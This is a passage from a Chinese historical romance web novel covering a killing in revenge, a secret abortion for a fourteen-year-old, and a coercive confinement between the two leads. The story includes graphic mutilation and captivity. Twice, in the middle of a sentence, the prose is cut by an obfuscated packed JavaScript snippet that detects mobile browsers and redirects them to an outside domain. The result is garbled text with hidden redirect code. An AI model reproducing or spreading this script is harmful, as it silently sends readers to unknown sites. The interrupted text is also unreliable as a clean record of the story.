谢晦已说:“她恨你来得太迟,却不怨你害她至此境地。她比你想象中更顽强,也看得清楚当时的你自顾不暇。她是个至纯至善之人,思虑过重却又难以与人倾诉衷肠,你可莫要真当她毫不在意。” 李灵濯的手指不自觉紧握:“我虽然是她的兄长,但有许多事情不便过问,今夜幸好有你在。” 听完他的感激之词 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一羽轻蔑地说:“你不过是主子一时的消遣,狐媚下作,还真把自己当女主子了?我们主子向来光明磊落,才不是什么色令智昏的人。” “是吗?”谢晦已听了这话只觉得好笑,“你们从前也是朝夕相处的人,怎么换成了我,就认定是我狐媚下作?你是信不过你主子能坐怀不乱,还是对我心怀妒忌,想要争、宠?” “你找死!”一羽怒喝一声,拔剑而出,“区区一个野路子妖孽,也敢编排主子!” “好好说话,动什么手?”谢晦已不慌不忙地站起身,再次试探道,“我且问你,你对我动杀念,是你一个人的决断,还是你们所有人的默许?” 一羽不无讽刺地说:“杀了便杀了,还需要经过他们同意?听闻谢小姐无父无母,那还真是毫无后顾之忧。” 原本谢晦已还在疑心他是不是有意包庇,然而听罢他后半段话,她觉得自己费心思在这种蠢货身上,简直是浪费时间。 “好了,闲谈结束。你惹怒了我三次,你的舌头与眼睛,我照单全收。” 话音刚落,她的手指轻轻颤动了一下。 那一刹那,一道无形的念力从她指尖溢出,自桌面一跃而起,钻入了一羽的耳朵。他仿佛受到蛊惑,不假思索地举剑朝着谢晦已的脑袋劈过去。 谢晦已刚一躲到桌后,那张桌子就被剑气所伤,直接碎成了两截。一羽的佩剑嵌在木头中,可他并没有当即将剑拔出来,而是惊惧地看着自己的双手,崩溃地重复道: “怎么回事?我怎么会忽然动手?又为何瞄不准你的脑袋?你对我做了什么!” 谢晦已默不作声,暗暗撑着身后的木柜,硬生生咽回了喉咙间的腥甜。她修行尚浅,不足以操纵习武之人,方才不过是催动一羽心中的杀意,便要了她半条命。 但对于拖延时间来说,足够了。 就在此时,屋门再次开启。李灵濯刚跨入门槛,便目睹了眼前一幕。 “一羽!你这是做什么!” 10. 收鞘为笼 听到李灵濯的喝声,一羽才反应过来,今日的重头戏在这里。他刚想解释,却又忽然意识到,有今日之事在,往后若是再想动手怕是要难了。 “主子,属下是为了您好!谢小姐不能再留了!”一羽大喊一声,拔出地上的佩剑,目的明确再无迟疑。 然而李灵濯的动作更快。在一羽得手之前,他的刀已经抢先一步,将其捅了个对穿。 一羽双目圆睁,缓缓倒在谢晦已的面前。 谢晦已生怕他死得不彻底,在李灵濯控制住场面后,她又拿出剪刀在他心窝上补了一刀。反复确认他气息已绝,她才松了一口气。 “多谢李大人替我解围,没有你的准允,我是不敢对他下死手的。”她眉宇轻抬,道出了一箩筐客套话。 尘埃落定,李灵濯环顾四周,意识到自己被她利用后,他的目光变得格外冰冷,“你今日又是在演哪一出?” “他对我怀有杀意,这难道不是显而易见的事实?李大人又是为何质问我?” 谢晦已蹲下身,挖出了一羽咒骂自己的舌头,与不满自己的双眼。收入匣中后,她缓缓起身,转头看向李灵濯,“先下手为强罢了,你会容忍一把刀永远悬在脑袋上吗?” 李灵濯无言。他从一羽的胸口抽出刀来,迟疑片刻,最终将刀垂在身侧,“他是与我出生入死的暗卫。” 谢晦已对他莞尔一笑,然后指了指自己的头顶。 李灵濯顺着她的手指抬头望去,发现她惯常用的那柄匕首正悬挂在房梁之上。 绳子细如发丝,另一端绑在桌腿,因着刚才屋中的刀气纵横,它在空中摇摇欲坠,令人难以预料它会落向何方。 “你这是打算再添上一条命?”谢晦已轻声询问,“要不要来打个赌,看看它最终会选中谁的脑袋?” 李灵濯再次垂头看她,语气笃定:“你昨夜什么都听见了。” 谢晦已并未否认:“杀鸡儆猴罢了。不过你可看清楚,我既没有动手杀人,也并未逼你做抉择。他赴死无憾,一切都源于他自己的猜忌。你防卫过当,误杀了一位忠仆,你这般解释下去,你手下的暗卫倒也不会心寒。” 她虽是温和一笑,却处处透露着绝不退让:“我还是有意护全你的颜面,不让你为难的。” 李灵濯冷声询问:“是吗?说得这样冠冕堂皇,难道不是你直接将结果丢给我,逼我接受现状?” 谢晦已置若罔闻,步步紧逼,李灵濯手持利刃,步步退让,直至两人皆站在那把匕首之下。 “别这样说啊,替你处理掉烦心事,皆大欢喜不好吗?”谢晦已笑容不减,轻巧地割断了那根细绳。 随即,那把匕首陡然坠落,直指她自己的脑袋。李灵濯立刻抛下手里的绣春刀,将她紧紧抱住躲向一旁。 下一刹,那把匕首深深没入地面,震得刀身好一阵颤动。 未等李灵濯有所回应,谢晦已便轻轻捧过他的脸颊,抬眸含笑:“李大人,我知道你罚不得我。” 解决了这档子麻烦事,她推开李灵濯,转身便朝着屋外走去。 “谢见黎,你差人来叫我,就是为了这件事情?”在她的身后,李灵濯的声音听不出喜怒。 “不然呢?时间紧促,算计略显拙劣,令李大人失望了?”谢晦已回头看他。 李灵濯向前几步,冷厉的目光压着怒火,“你明明还有其他的抉择。” “比如呢?” “昨夜你可以与我坦诚相告。” “李大人,人命关天,”谢晦已直率而又冷漠地答道,“你昨夜明知一羽对我有杀意,却毫无行动,今日这般局面是你自找的。” 李灵濯追问:“我可以将他调走,你有不满为何不事先告知于我?” 谢晦已再次冷笑:“调到我见不到的地方,就会变成永远的隐患,你以为我会容忍这样的处境?” “你不是不能容忍,你只是不信我。”李灵濯说。 谢晦已直视他的双眼:“讲讲道理,是你不信我在先。你至今都没有交代你来青州的目的,不是么?” “你不要顾左右而言他,这根本不是同一件事情。”李灵濯冷声道。 “行。那就照你所说。” 谢晦已嗤笑一声:“若我没听见你们昨夜的交谈,我的下场又当如何?你恼火,你哪里是因为我不信任你而恼火? “你想拿我的安危成全你的慈悲,又妄想我得知真相后,不会侵犯你的一亩三分地,感恩戴德地活在无知之中。你说我逼迫你做抉择,你又何尝不是如此?怎么到了我这里,就成了你恼怒的缘由?” 李灵濯反驳道:“你认为除你以外的人是什么?都是会喘气的牲口,随你如何宰杀,我都不能存有怨言?” 说着说着,他眼神骤然阴鸷,随后嗤笑道: “照你这种看法,你何不一刀把我杀了?你以为我会信你母亲在京城藏有遗产?你幼年丧母,孤女怀璧,若你外祖父真留了私产,必然有心腹打理,也会派人暗中护你周全。可如今你被至亲卖掉却无人过问,是真是假一目了然。我知晓这一点,才是你最大的隐患。” 谢晦已双眉紧锁:“少在那巧言狡辩。我不强求你理解我的抉择,但我方才已经给了你解释。既是明白了前因后果,还有什么值得争辩的?我可没有一视同仁的美德,你的命能跟他一样?这个答案你还不满意?” 李灵濯呼吸一滞,随后强扳着她的双肩,“你觉得把所有理由一一罗列,堆叠一旁高高垒起,问题就算解决了?你是在玩鲁班锁吗?” “为什么不能?难道你是什么固执的榫卯,不知变通吗?” 谢晦已气愤地甩开李灵濯的手,“走开。” 说罢,她头也不回地朝着李兰畹的厢房走去。 *** 李兰畹死死盯着桌上那碗冒着热气的汤药,指尖在被角上反复揉搓,似是等待什么。 听到门轴轻响的瞬间,她才长长呼出一口气:“谢小姐,我还以为你临阵脱逃了。” 谢晦已伸手端起药碗走近她:“说好了守着你,正好我这几日都无事。” 离得近了,那药香混着苦涩,像极了潮湿发霉的枯木。 “你整日往我这边跑,兄长不会起疑吗?”李兰畹问。 “刚吵了一架,正好来你这躲个清净。”谢晦已对她微微一笑。 “吵架了?很严重吗?”李兰畹颇感惊讶,却也不知从何劝起,一时间只余下尴尬的沉默。 谢晦已想起李灵濯,心里又是一股无名火:“算了,不提他,我们说些正事。” 她将昨夜对李灵濯的说辞交代一番,又对李兰畹说道:“牢里的麻烦我替你处理掉了,你不必担心会被揭穿。但这个案子还不算完,这几日你先安心养着身子,别为那些琐事担忧。倘若有什么需要证人证词的地方,我来替你出面。” 李兰畹攥紧了谢晦已的手腕,不无愧疚地望着她:“谢小姐,你这样做,不是替我做活靶子吗?” “我也是有利可图才会帮你的,这样做能让我接触到更多案情。” 谢晦已一手端着药碗,另一只手搭在她的手臂上,声音柔和:“这一点我瞒住了你兄长,但是我觉得不应该瞒着你。” “你说这个做什么?不管怎么说,你都替我解决了牢里的麻烦,我真的无以为报。” 李兰畹左思右想,忽然有了主意。再开口时,不免有些支支吾吾: “谢小姐,不若这样,你做我义结金兰的姐姐好不好?你一直留在我兄长身边,还不是看他脸色度日?他们男人都一个样子,惯会喜新厌旧,倘若我那兄长不是个良配,日后我也能对你照拂一二。” “姐姐?”谢晦已觉得这个称谓很新奇,“从未有人这样叫我呢,你今年多大了?” “十四。”李兰畹回答道。 谢晦已低头望着少女尚显单薄的肩膀,和她隆起的腹部,心里莫名有些酸涩:“我虚长你四岁,这声姐姐,倒也担得起。” “那就这样说定了!” 李兰畹接过谢晦已手中药碗,蒸腾的热气模糊了她倔强的杏目,也遮挡了她稚嫩的脸庞。 “谢姐姐,喝这个会疼吗?” 谢晦已伸手抚摸她柔软的发丝,安抚她道: “这方子药性温和,应当会减轻一些痛苦,你放心,外面候着一位女医,我事先有叮嘱过她,她也是妇人,一定会懂得你的痛楚。以防万一,那间药堂上下都被我用钱封了口,不会有人捅到你兄长跟前的。” 她望着李兰畹眸底的信任,又格外坚定地承诺道:“若有消息传出去,尽管推到我身上,就当是我回应你这一声‘姐姐’吧。” 李兰畹抿着唇,几度红了眼眶,终究将满腹话语咽回喉间。 随后,她深深吸了一口气,仰起脖颈将那药汤一饮而尽。 *** 谢晦已亲自送走女医时,外面已然夜幕低垂。 回程路过回廊,屋里的小丫鬟小跑着过来递上信笺:“谢小姐,我们小姐已经歇下了。她刚刚派人去主院递了话,请李大人帮忙引荐一位夫子,教导小姐读书习字。在夫子到任前,还得辛苦您暂留此处代劳。” 谢晦已目光转低。月光下,“劳驾姐姐”几字歪歪扭扭,墨迹未干。她记得李兰畹是不识字的,这几个字怕是趁自己不备,找了医师问过后,偷偷描摹的。 小丫鬟又说道:“李小姐还说,虽然不明原因,但她是站在您这边的。在李大人给出态度之前,您不必急着离开。” 谢晦已无奈一笑,“我知道了。” 李兰畹是想替自己出气的,只是手段稍显稚嫩,做到这种程度,反倒像是自己利用李兰畹传话,眼巴巴地等着对方过来求和。 白天刚把人得罪个透,晚上就转变态度,怎么想都很诡异,也真的很尴尬。 谢晦已收起字条,倒也没再进屋打扰李兰畹,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875687|176309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是顺势坐在了门外台阶上。夜色深了,忙碌一日压下去的烦闷再次攀升心头,她不禁盘算着,自己今夜到底何去何从。 不对,她这样干坐着也不对。她本来就没有错,在这坐着只会显得自己焦急不已,非等着那人今夜前来。 谢晦已心中烦躁,索性站起身,想走到书房拿本书看。而就在这时,一颗石子滚到了她的脚边。 她抬头望去,发觉那道颀长的身影正缓缓朝她走来,若晴夜虹影,划破了静谧的夜色。 喉头滚动,谢晦已尴尬地张了张嘴,最终干涩问道:“你来这里做什么?” 李灵濯视线淡淡掠过她,似是不经意地瞥了她一眼,旋即偏过头去,语气漫不经心:“抓耗子。” “既如此,您请自便。” 谢晦已弯腰拾起脚边石子,重新坐在台阶上,反反复复抛起又接住。 李灵濯走近了几步,不由分说将她拦腰抱起,尾音轻飘飘地浮着:“逮到了,还抓什么?我本以为你会不屑于让旁人插手,去解决我们之间的事情。” “你本以为的没错。” 谢晦已丢掉石子,抬头撞入他幽邃的眸光,言辞间带着挑衅:“是兰畹关心我,自己瞧出来的。她好心替你寻了个台阶,可不是我动了心思。” 李灵濯垂眸不语,眼底裹挟着无声觊觎,宣告着某些情愫已然脱了缰绳,而此刻的她却浑然未觉。 不安的情绪爬上心头,谢晦已下意识扭动身躯想要挣脱,却被他箍得更紧。她不禁皱眉质问道:“你要带我去哪儿?” “谢小姐不是惧怕杀机四伏?自然是去你该去的地方,一个安全的地方。” 李灵濯唇角微扬,那抹笑意让人猜不透深浅。黑暗中,他的身影仿佛无形的巨网,早已将她悄然笼罩,又露出伪善的一面,诱哄她一头钻入。 谢晦已反应过来,他存心不想自己好过。于是,她缓慢而又平静移开目光,故作镇定地说道: “不若聊聊正事?兰畹方才托你为她寻夫子,李大人即便生气也该以要事为上,对不对?” “毛病,心虚就开始乱咬人了?”李灵濯哂笑一声,脚下不停,朝着远处的院落走去。 夜色渐浓,一座寂静的院落出现在眼前。四下静谧得可怕,唯有几盏灯笼散着昏黄光晕,在夜风里摇曳,平添几分阴冷。 与其说是院落,不如说是一座牢笼。 谢晦已心觉不妙,连忙挣扎道:“李灵濯,你放开我。” 见他不为所动,谢晦已怒从心起,扬手便是一巴掌。 清脆的声响格外刺耳,李灵濯的脸颊瞬间泛起红痕。他却丝毫不怒,只偏头避开她的再次扬手,语气带着几分戏谑: “谢小姐对旁人下狠手还不够,现在终于轮到我了?” 谢晦已稳稳落地,警惕的目光扫过四周。 只听“咔哒”一声,身后院门重重关闭,彻底切断了她的退路。 李灵濯仿若未觉她的惊恐,强行牵起她的手往里走去,语气从容: “这院子早在我来青州前便已建成,本是为那些见不得光的人准备的。不过多亏谢小姐,了却我一桩桩麻烦,如今刚好为你所用。” 他低头轻笑:“放心,有我亲自照看,定会保你周全。” “李大人,你越界了,”谢晦已眉头紧锁,“我一没有伤你性命,二没有残杀无辜,其余之事你何必动怒?只许州官放火,不许百姓点灯?” “不劳谢小姐告知,我对‘放火’二字看得最为清楚,”李灵濯冷然开口,“于你而言,我只是阅后即焚的字条,随手用随手拿,才不是什么掌灯的州官。” “你在胡说什么呢?” 谢晦已甩开他的手,从容而言。 “我哪里敢阅后即焚?你手底下养了那么多条忠犬,还想让我做你这个刽子手的刀。如今杀了条笨犬,开过刃也见过血了,你又嫌刀太利要收刀入鞘。果真是皇亲国戚,你姓李便是理吗?” 言及于此,她抬头冷哼道:“反正你妹妹也找回来了,你若是非要在乎这些烂账,逼我吃斋念佛过安生日子,我可受不起你这窝囊气。” 李灵濯看着一身戒备的她,仿佛被她的眸光刺痛,忽而伸手将她散落的发丝别到耳后。“我可什么都没说。” 谢晦已偏头躲开他的触碰:“你要想兴师问罪,大可不必这般惺惺作态,一刀了结我便是。” 闻言,李灵濯似是忍无可忍,猛地将她抵在墙上,“谢小姐是气昏了头?我若真想治你的死罪,何须等到现在?” “所以呢?”谢晦已毫不畏惧地迎上他那双阴戾的碧眸。 “你自己做出来的事,总要有个决断,我替你善后也不能寒了他们的心,数罪并罚,关你几日禁闭也是应当的。” 李灵濯捏住她的下颌,缓缓摩挲着她嫣红的唇瓣,“你总喜欢把自己的利爪磨得锋利,却毫不在意是否会误伤于我,真是头养不熟的狼。” 11. 风雨如晦 谢晦已反手扣住他手腕将他推开,随后唇角轻轻扬起。 一字一句带着告诫的意味,仿佛劝人迷途知返,自述不知悔改。 “若非如此,如何剖开你这层人皮?我倒要看看你这样居心叵测之人,究竟安的什么心。” 李灵濯知难而上,站在她身前垂下头:“是吗?再试探我,就现出原形吃了你的一颗玲珑心。” 谢晦已侧抬着头,脖子扬起挑衅的弧度,眼中跃跃欲试:“那便来试试。看是你先吃掉我,还是我先剖开皮挖出你的真心。” 李灵濯握紧她的腰肢,“真心价贵,谢小姐今夜出的价格可不够。” “那就是李大人自己不懂规矩。买定离手,不该过问的事情何必过问?” “不过问,也不能有怨言,只能乖乖替你善后,谢小姐,你自己听听这是人话?” “你自找的。” 谢晦已揽住他脖颈,湿热的气息喷洒在他颈侧。 “你这层皮在我面前蜕了几次,你自己数得清吗?” 两人僵持不下,谁也没有妥协,却也不知是谁先动了手,剑拔弩张忽然转化为唇齿交缠,一股血腥味化在其间,猛烈得分寸不让。 谢晦已知道,他既信不过自己,又妄图逼迫自己先越过雷池。恰好她也不遑多让,偏偏就要揉搓他那一分真心,令他再三折节。 两个虚伪的困兽撕咬着,却默契地藏起自己的利爪,生怕伤及对方,又在忍无可忍的底线上反复践踏,反复确认对方不可替代,反复证明自己没有看走眼。某种程度上,他们还真是天造地设的一对。 他被她诱导着,深陷情欲而无可自拔,心甘情愿地臣服于她。而那些沉重的镣铐也再次出现在她眼前,不同的是,这一次由纯金打造,尺寸刚好贴合她的腕骨与足踝,由他亲手戴上。 镣铐铮铮作响,数夜未歇。 *** 几日后,一名叫做于虞的女夫子登府拜访。谢晦已陪同李兰畹见客,一整日都在李兰畹屋中。 李兰畹身体恢复得很好,只是面色苍白,瞧起来依旧病怏怏的没有精神。见她身体虚弱,于虞只是布置了一些字帖摹写,并没有强迫她当日完成。 而为了遮掩李兰畹的身体状况,谢晦已时不时地与于虞攀谈着,将她的注意力放在自己身上。 瞧着于虞细心指点李兰畹握笔姿势,谢晦已忽然想起了幼时的情景。 白发苍苍却精神抖擞的老者坐在金丝楠木书案前,拉着小小的谢晦已,一笔一画写下了三个字。 “谢、晦、已。会写了吗?这是你的名字。” 谢晦已咬着笔杆,歪脑袋看着他,“外祖父,这是什么意思呀?” “坏习惯,要改正。”老者抽出她嘴里笔杆,又用帕子给她擦掉下巴上的口水:“这是你的名字,是你母亲给你取的。那句诗叫‘风雨如晦,鸡鸣不已’,不过她并不是这个意思。” “那是什么意思?” “晦暗皆尽,窥见黎明。” “黎明?”她懵懂地点点头,又摇摇头,“那是什么东西?” “那是太阳身上最好的一块地方呀,也是外祖父给你取的小字,这回记住了吗?” “记住啦!” 回了屋子,谢晦已提笔写字,笔在动,人却心不在焉。直到日落西山,直到手里的纸张被人抽走。 “风雨如晦,鸡鸣不已。既见君子,云胡不喜?”她头顶忽然传来一声轻笑,“谢小姐,好端端地写什么《诗经》?” 说开了话,两人仿佛无事发生,恢复了往常的相处之道。也不知怎的,虽说没能打开对方的心扉,可她莫名觉得两人的关系进了一步。 “李大人走路怎么没有声音?”谢晦已抬眸看向李灵濯,把纸张抢了回来:“这是要来检查我的功课?” “嗯。”他淡淡道。 谢晦已瞧出他的心情似乎不太好,也没多说什么,提了篮子要去院子里。 李灵濯警觉地问道:“你又要做什么去?” 谢晦已随口答道:“蜡梅开了。” “早不去晚不去,想躲我?” “功课都查完了,李大人找我还能有什么正经事?”谢晦已倚着门框不答反问,眼波流转,回眸一笑。 李灵濯抬起她的手腕,在外侧留下一个轻吻:“自然是来向你讨教。” “是吗?”谢晦已抽回了手,似笑非笑地看着他:“能让李大人心生烦扰,想来是天大的事。” 李灵濯看着她,忽然觉得有些事情想通只是一瞬间:“没什么。官场上的事,自古以来无外乎那几样。兄弟阋墙、党同伐异、边关异动,无聊得很。” 夕阳的光斜切在他的瞳中,谢晦已的身影倒映在他眼底的碧色光景,晚风吹得正当时。 谢晦已说道:“水至清则无鱼,有时候眼不见心就不烦了。” 李灵濯不无讥讽地说:“我或许没说过,倘若你去做官,应当是个贪官。” 谢晦已白了他一眼,随后又道:“皇上不急太监急,天塌了还有皇上顶着呢,你又何必去揽太监的活儿?” 听到这句话,李灵濯脸上的神情可谓是异彩纷呈,最终难得地咽下了这口气。 不,他还是咽不下这口气:“把这个给我抄十遍,明天送到书房去。” “我不抄,府衙都关了李大人摆什么官威?”谢晦已收起笔墨就要走。 李灵濯这个小人果然没有放过她。只见他攥着她的手腕问道:“你不抄谁抄?” “当然是你抄,”谢晦已转过身来,从容不迫地将他按在书案前,“你不请自到,颐指气使,数罪并罚,快把这些东西给我抄写一百遍。” “一百遍?你倒是敢说。” “‘读书百遍,其义自见’,不是我说的话。圣贤所言,定有其意。” 李灵濯问道:“有什么意,值得我写一百遍?” 谢晦已指着那句“风雨如晦”,对李灵濯笑着说:“我会告诉你我的名字。” 那双折了桃花瓣似的眼珠仿佛能蛊惑人心。 李灵濯下巴微抬,像极了随时要咬人的五步蛇:“外面蜡梅开了,你想把我一个人晾在这里?” 谢晦已垂下那双多情的眉眼,颇感遗憾地说:“红袖添香在侧,我何必舍近求远?” “有你这样红袖添香的?”听起来倒是有几分委屈在。 “李大人这是什么语气?”谢晦已轻笑一声,“书里怎么说来着?” 她倚靠在书案旁,手指在书脊间游走,慢条斯理地从那一摞书里一册一册地择选,有种说不清道不明的缠绵。最终她拿出一本前朝的《风物志异》,在李灵濯面前挥了挥。 “缠人精不能离了人,”她笑了笑,“李大人,圣贤所言可为真?” 烛火又燃了一截。 谢晦已手里的书也跟着翻过一页,李灵濯收回目光,看着桌上的宣纸,他的眉眼略带柔意。 白日里那些吵得让人头疼的事情,在她这里似乎能戛然而止。就像她故意给自己找事情做,提笔写字,写着写着,总能安心。 “咚”的一声,他的书案上忽然落了一团纸。 李灵濯把纸团打开,只见上面寥寥几笔画了一幅画。虽说画功极其简陋,不过竭力联想之后,依稀能看出个人形。 落款写着:“隆安二十七年,夜,谢见黎令李灵濯抄写百遍。” 李灵濯叹息了一声,提笔要改掉那行字。不为什么,他总是不愿将自己与那个人的事情放在一块。“谢小姐,今年是景明三年。” 谢晦已惊得丢掉了笔,也愣了一会儿神。 “皇上驾崩了?”她喃喃道。 李灵濯沉默片刻,开口纠正她的说法:“是先帝驾崩。” 谢晦已也跟着沉默了许久,或许是因为她身上笼罩的忧郁太过浓厚,以致屋外忽然起了风。 “你对先帝,”李灵濯斟酌用词,“很敬仰?” 谢晦已把这个问题挡了回去:“天下万民无不敬仰之至。” 那就不是很敬仰了。李灵濯暗自想着,又问道:“那你是对先帝追念不已,还是对新帝有所不满?” “没有区别,”谢晦已淡淡道,“他们离我太远,又是世袭罔替,前朝楚氏也好,本朝李氏也罢,天底下总要出一个皇帝,好不好的自有世人评断,不必多我一人之言。” 李灵濯又问道:“那你在追念什么?” 谢晦已轻勾朱唇,双眼平静无波,言语中却含着似有似无的苦涩:“我熟悉的东西、我所认知的人世间,在我不知不觉中变得面目全非。好像我刚刚明白,原来十年是这样长久的时间,久到足以改朝换代。” 听到这话,李灵濯不禁放下笔。 倘若今年是隆安二十七年,自己不曾借着寻亲的名义微服私访,会有人像今夜这般坐在青州城吗? 他与她还是不同的。没有他,她依旧会在那一天放火烧村,也会在寻仇路上越走越远。可若没有她,那个村子会成为一个永世长存的诅咒。 她不能不存在。虽是黑暗催生的一炬微光,偏偏生来属于光明。不在世人合十祈求的头顶,却在夜路游人颤抖的掌心,却在凿壁学子贪婪的眼中,引人饮光止渴。 偷得一烛,以暖茅屋四角,至少,于他逼仄的世间而言。 于是,李灵濯安抚她道:“京城一直是个无趣的地方,你不在的那十年也很无趣。或者说,还好你错过了那十年。” 谢晦已浅浅一笑:“无趣吗?难不成李大人在京城中也无牵无挂?” “故人已逝,谁会被那一捧黄土牵绊?”李灵濯不答反问。< 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李灵濯把笔递给了她,又在她不明所以的目光中握住了她的手。 他带着她的手,反握着笔,一笔一划地写下三个字。 “谢、晦、已,”跨过书案,他的唇摩挲在她的耳畔,“我找到你了。” 谢晦已惊愕地看着他写下来的字,又看着自己一开始写下来的诗,将两者重合在一起,对向了一旁的烛火。 完全重合。 “你在仿写我的字?为什么是这两个?”谢晦已问。 李灵濯圈出来了她写的“晦”、“已”,并开口解释道: “写自己的名字时,总会有些不同的。比如会停顿,比如会不自然,本来是一件很费力的事情,你既然给了我提示,那我就只需要找出你风格不统一的字了。” 他又道:“所以,‘见黎’是你的小字,对吗?” 谢晦已默不作声,开始收拾桌上的宣纸。 李灵濯一把揽过她的腰肢,将她放在自己的腿上:“抵消掉替你写的十遍,或许谢小姐应该想想怎么偿还我多抄写的九十遍。” 谢晦已与他视线持平:“李大人这是要做奸商?我还没计较你扰了我赏花的兴致,那一幅字画也不能算是附赠。” “那你想要什么?” “一个趁手的武器。” 李灵濯思忖片刻,随后挽起了袖子。上好的玄铁在她眼前发出刺眼的寒光,内部的机括零件设计繁复,一看便知不是凡物。 “袖箭适合你。”他解下来,又给谢晦已系在手腕上,本该冰冷的玄铁还带着些许余温。 “这东西方便得很,你不怕我挪作他用?”谢晦已低头看着李灵濯。 烛火描摹之下的他眉骨高挺,唇色殷红,听了这话却只是笑了笑:“出言制止便能断了你的念想?” “试试呢?”谢晦已目不转睛地看着他,“毕竟李大人生得一副好皮囊。” 李灵濯不禁转头看她,喉结动了动。 她眉目含笑时,似生不逢时的盛世牡丹,不加点缀便凤仪万千。她不应该属于这里,他心想,或许他真的能做出来一个黄金屋子。 可不等他做什么,怀里的人便轻快地逃走了。只见她兴致勃勃地走到庭院中,拉起袖口便要试验袖箭的威力,俨然一副把他忘了的模样。 果真是没良心的。 李灵濯笑了笑,收起笔墨,抬手拿走了谢晦已的那幅画。 “我要带人进山谷,与十年前那场旧案有关,这次不能带上你,袖箭留给你护身。这几日外面不太平,你多加小心。” “这次倒是知道老实交代了?看来确实很危险。”谢晦已瞄着院子里的那棵梅花树,头也不回地问:“要去几日?” “三四日,或许,”李灵濯并不确定,“你知道青州府里还有什么人是奸细,别杀得太早。” 谢晦已莫名其妙地看了他一眼:“知道了。” “只是‘知道了’?”李灵濯语气略带不满。 “嗯?”谢晦已认真地瞄向另一片花瓣,心不在焉地承诺道:“我暂时不会动他们,你若是迟迟不归我可就要下手了。” “那我呢?” 李灵濯的声音骤然冷了下去,“那些死人跟我有什么关系?” 谢晦已眉宇微抬,终于反应过来李灵濯想听什么。念着他出门在即,总在门外磨磨蹭蹭的也很碍事,于是她干巴巴地祝福道: “李大人早去早回,注意安全。” “承你吉言,你可以从现在开始为我祈祷。”李灵濯终于由阴转晴,扯了扯唇角便转身离开了。 谢晦已当然不会乖乖照做,所以也没搭理他这句话。 12. 陈年隐闻 府里人手一少,便换来了安宁的几日。谢晦已修炼心法之余,时常与李兰畹还有那位于夫子坐在院子里聊天。 此时,腊梅满开,馨香氤氲在庭院中,婆娑树影下,于虞正在检查她们二人的字帖。 “李小姐的字有长进,不过还是需要更多的练习。” 于虞翻看着李兰畹这几日的学习成果,面上是惯常的严肃,“你很勤奋,但是不能急于求成。” 李兰畹虚心受教:“是。” 于虞又看向谢晦已:“谢小姐的字我没有什么要提点的,你从前临摹的是衡山居士的字帖?” 谢晦已点头:“是,从前外祖颇为喜欢,家中收了衡山居士的字画,我便时常拿来临摹。” 于虞又道:“他的字秀劲有力,淡雅而不失风骨,你的字在按捺之间多了几分锋芒,颇有以杀制杀的气势。但是过刚易折,谢小姐不妨顺势而为。” 谢晦已听到最后,缓缓抬起了头:“学生受教了。” 就在这时,一阵刀剑相击之声响起,院子里忽然翻入一群蒙面黑衣人。 “什么人?”于虞对着门外大声呵斥,“你们擅闯此地有何贵干?” 谢晦已与李兰畹也跟着站了起来,一脸防备地看着门口。 那人并没有回答她的问题,而是转过头对其他人说道:“就是她们,动手。” 谢晦已将李兰畹与于虞护在身后,按下了袖箭。她内力不足,但暗箭防不胜防,为首之人终究是败在自己的轻蔑之上。 他甚至还没有意识到发生了什么,就脚下一软躺倒在地,抽搐几下便没了气息。也就在这一刹那,李灵濯事先安排的人手提着刀剑及时赶到,加入了这场混战。 刘知府带人将李兰畹团团围住,对她大喊:“李小姐,您先进屋!” 谢晦已看了一眼被人墙挡住的李兰畹,而刘知府也在这时对她开口解释道: “抱歉了谢小姐,刺客必是为李小姐而来,在排查出奸细之前,你们二位暂时要与她分开。” “我明白。” 谢晦已倒也理解他的做法,所以也没多耽搁,随着另一拨人进了重兵把守的院落一隅。 此时屋外一阵刀光剑影,屋内于虞与她相视无言。 谢晦已率先打破了寂静:“今日有不速之客,让于夫子受惊了。” 于虞镇定地摇了摇头:“见血是常有的事,更何况这里天高皇帝远。不知是否是我眼拙,谢小姐方才可是用了袖箭?” 谢晦已点点头,并掀起袖口给她查看,“是李大人临行前交给我的东西。” 确认此物后,于虞神情复杂地摇了摇头,“大人还是这般肆意妄为。” 听她这样说,谢晦已不免有些好奇,“于夫子与李大人是旧识?” 见谢晦已毫不知情,于虞也只是简单地交代了几句:“算不上是旧识,只是从前在京城时有数面之缘。” “原来如此。” 谢晦已鲜少听见李灵濯的过往,记在书册上的东西翻来覆去都是他的政绩。不过,她也查到了这位锦衣卫指挥使的名字——李隐。 真是一个与他本人不太相像的名字。她当时心里浮现的是这样的想法。 所以,她垂头看向手腕的袖箭,望着上面不似中原文化的细密花纹,再次出言询问道:“于夫子,这个袖箭的来历很特别吗?我瞧着不像是盛朝的东西。” “谢小姐想得不错。这是大人尚未……” 于虞斟酌着换了个词,“任职指挥使前,西北的部族娄厥进贡的东西。大人的父亲将它送给大人作为生辰贺礼,后来在大人征战娄厥时,也是他命大人佩戴在身,以娄厥之箭射杀娄厥人,作血统正名之用。” 谢晦已听着她的话,身上莫名觉得有些发寒。于是她开口问道: “于夫子,李大人是娄厥人?还是娄厥人的后代?” 听到这话,于虞又是一脸惊讶。她看得出来陛下与谢晦已是那种关系,可谢晦已的表现不像是两人很熟悉的样子。 这几日相处下来,她对谢晦已也颇有好感,于是她出言提点了几句。 “大人的生母是娄厥人。如今娄厥已然归顺盛朝,两族通婚之后,拥有碧瞳之人不在少数。然而,从前往返于两国的娄厥人极为罕见。 “大人的母亲亦非碧瞳之人,故而大人降生时,人们一度将其视为妖异。大人的父亲亦曾对其血统生疑,屡次幽禁大人的母亲,大人因此过得并不好。 “正因这段旧事,大人极其厌恶有人谈论他的眼睛。有人曾拿此事大做文章,公然对大人加以羞辱,最终死于凌迟之刑。 